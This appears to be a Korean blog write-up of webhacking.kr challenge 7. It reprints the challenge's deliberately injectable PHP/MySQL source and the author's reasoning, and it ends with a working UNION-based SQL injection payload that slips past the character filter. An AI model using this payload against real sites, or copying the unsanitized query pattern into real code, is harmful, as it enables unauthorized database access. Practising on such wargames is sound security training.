Admin Page가 있다.
auth를 눌러봤는데, Access_Denied란다.
일단 소스코드를 살펴봤다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 7</title>
</head>
<body>
<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
$result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
$result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
$result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
$result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
$result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>
if($data[0]==1){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
solve(7);
}
$data[0]이 1이면 access_denied라는 alert가 뜨고, $data[0]이 2면 문제가 풀리는거 같다. 참고로 data라는 변수는 $data=mysqli_fetch_array($result); 이라고 하는데, mysqli_fetch_array라는건 뭐냐면 select 쿼리 결과를 반환하는 함부라고한다! 지금 result 변수의 select 쿼리 결과를 반환하고 있는데, 그렇다면 result는 또 뭘까! 바로 위에 있는 random 함수의 결과값을 말한다.
mysqli_query($db,"select lv from chall7 where lv=($go)")
db에서 chall7라는 테이블이 있는데, lv가 go라는 변수를 가리키고 있을때의 lv값을 data 같으로 저장하는거 같다.. 참고로 go라는 변수가 바로 val의 값인듯. 쿼리는 랜덤으로 변경되고 있고..
일단 다시 뒤로가서 메인페이지에서 URL을 봤는데 val 값이 1로 설정되어 있었다.
그리고 if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
숫자 2랑.. -, +, from, _, *, / 같은게 필터링도 되는거 같다.
그래서 data[0]값에 바로 2를 넣을 수가 없다. 그럼 go가 2를 받아오면 되는데 이 이후는 어떻게 해야할지 잘 모르겠다. (쉽게 말하면 val값에 2를 넣으면 된다는 뜻) 그러면.. 아스키 코드표를보니까 DEC값이 50이면 2가 된다고 적혀있길래 시도해보고 싶은데 .. dec값은 어떻게 넣으면 되는지 또 고민하다가 그냥 dec(50)이라고 넣어봄
오!
nice try!란다.
근데 이게 랜덤값으로 나오는거라 쿼리문이 계속 달라진다고 해서 몇번 새로고침을 해봤는데 여기서 바뀌는게 없다.
검색해보니 UNION은 합집합의 개념으로 주로 사용하기 때문에 이런 URL 문제에 잘 사용된다고 한다. 그러니까 두 조건 중에서 하나만 만족해주면 됨.
그러니까 지금
select lv from chall7 where lv=($go)
이 부분에서 ($go)안에 들어갈 값을 찾는거니까 val=999~)UNION(SELECT(char(50))) 이렇게 넣어주면 되겠군..
val=999999)UNION(SELECT(char(50)))%23
참고로 char(50)이라고 적어야한다....... 그리고 %23을 안넣어줘서 그런지 모르겠는데 새로고침해도 안나와서 이 부분은 검색해서 해결했다.
'CTF, 워게임 문제 풀이 > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 10번 문제 풀이 (0) | 2022.08.23 |
---|---|
Webhacking.kr 8번 문제 풀이 (0) | 2022.08.23 |
Webhacking.kr 6번 문제 풀이 (0) | 2022.08.23 |
Webhacking.kr 5번 문제 풀이 (0) | 2022.08.22 |
Webhacking.kr old 3번 문제 풀이 (0) | 2022.08.22 |
댓글